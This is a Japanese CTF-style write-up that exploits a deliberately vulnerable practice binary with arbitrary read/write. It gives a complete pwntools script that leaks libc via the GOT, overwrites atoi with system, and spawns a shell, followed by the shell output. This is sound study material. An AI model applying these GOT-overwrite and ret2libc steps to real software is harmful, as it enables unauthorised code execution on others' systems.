GOT Overwrite・ret2libc

GOT Overwriteを利用してシェルをとる。

(『詳解セキュコン』の33章を参考)

プログラムの概要

問題プログラムはここで入手可能。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln
1 : AAR
2 : AAW
>> 1
Input address to read >> 0x4034b0
0x4034b0 : 0x7fadb07f2a80
                                                                                                          
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln
1 : AAR
2 : AAW
>> 2
Input address to write >> 0x4034b0
Input value >> 0x401030

指定したアドレスを読み出すaar()関数と、指定したアドレスに値を書き込めるaaw()関数。

ソースコード

main関数は以下の通り:

int main(void) {
    char buf[0x20] = {};

    printf("1 : AAR\n2 : AAW\n>> ");
    do {
        fgets(buf, sizeof(buf), stdin);
    } while (buf[0] == '\n');

    switch(atoi(buf)) {
        case 1:
            aar();
            break;
        case 2:
            aaw();
            break;
    }
    exit(0);
}

checksec

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ checksec ./vuln    
[*] '/home/shoebill/pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exploit

#!/usr/bin/env python3
import time
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './vuln'
binf = ELF(bin_file, checksec = False)
context.binary = binf

libc = binf.libc
offset_libc_atoi = libc.symbols['atoi']

addr_main = binf.symbols['main']

got_atoi = binf.got['atoi']
got_exit = binf.got['exit']

def attack(conn):
    # ret2main
    conn.sendlineafter('>> ', '2')
    conn.sendlineafter('Input address to write >> ', hex(got_exit))
    conn.sendlineafter('Input value >> ', hex(addr_main))

    # libc base
    conn.sendlineafter('>> ', '1')
    conn.sendlineafter('Input address to read >> ', hex(got_atoi))
    recv = conn.recvline()
    addr_libc_atoi = recv.split(b' : ')[1][:-1]
    addr_libc_atoi = int(addr_libc_atoi.decode(), 16)
    libc.address = addr_libc_atoi - offset_libc_atoi

    addr_system = libc.symbols['system']

    # overwrite atoi()'s GOT to system()'s address
    conn.sendlineafter('>> ', '2')
    conn.sendlineafter('Input address to write >> ', hex(got_atoi))
    conn.sendlineafter('Input value >> ', hex(addr_system))

    # spawn a shell
    conn.sendlineafter('>> ', '/bin/sh')

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

ret2main

exitのGOTをmainのアドレスに書き換える。

libcのベースアドレスを求める

(最終的にsystem("/bin/sh")を実行してシェルをとる。system関数を実行するためにはlibcのベースアドレスが必要)

atoiのGOTエントリを読み出してlibc内のatoiのアドレスを求める。

入力を求められるタイミングでは、atoi関数は既に実行されている。

つまりアドレス解決が済んでいるので、そのタイミングでatoiのGOTエントリを読み出すと(libc中の)atoiの実体のアドレスが得られる。

それとatoiのlibc内でのオフセットの差をとればlibcのベースアドレスが求まる。

まだ一度も呼び出されていない関数のGOTエントリを読み出すと、その関数の実体のアドレスではなくPLT+6のアドレスを得てしまうので注意。

※ この関数解決とGOTについては一つ前の記事を参照

addr_libc_atoiについて、AARを実行した時の出力は

1 : AAR
2 : AAW
>> 1
Input address to read >> 0x403470
0x403470 : 0x7fa13803eb80

のようになるので、splitで必要な部分を取り出す([:-1]は末尾の\nを含めないため)。

bytes型を変換してint型同士で計算する部分に関してはここを参照。

シェルの起動

atoiのGOTをsystem関数のアドレスに書き換える。そして次の入力(1or2の番号の入力)で文字列"/bin/sh"を与えてやる。

これでsystem("/bin/sh")が実行されシェルがとれる。

理由はmain関数をよくみるとわかる:

int main(void) {
    char buf[0x20] = {};

    printf("1 : AAR\n2 : AAW\n>> ");
    do {
        fgets(buf, sizeof(buf), stdin);
    } while (buf[0] == '\n');

    switch(atoi(buf)) {
        case 1:
            aar();
            break;
        case 2:
            aaw();
            break;
    }
    exit(0);
}

最初の1or2の入力は変数bufに格納され、その後atoi(buf)と実行される。

なので、atoiのGOTがsystem関数のアドレスである状態で、bufに文字列"/bin/sh"を与えればsystem("/bin/sh")実行される。

実行結果:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./exploit.py 
[+] Starting local process './vuln': pid 31889
[*] Switching to interactive mode
$ uname -a
Linux shoebill 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux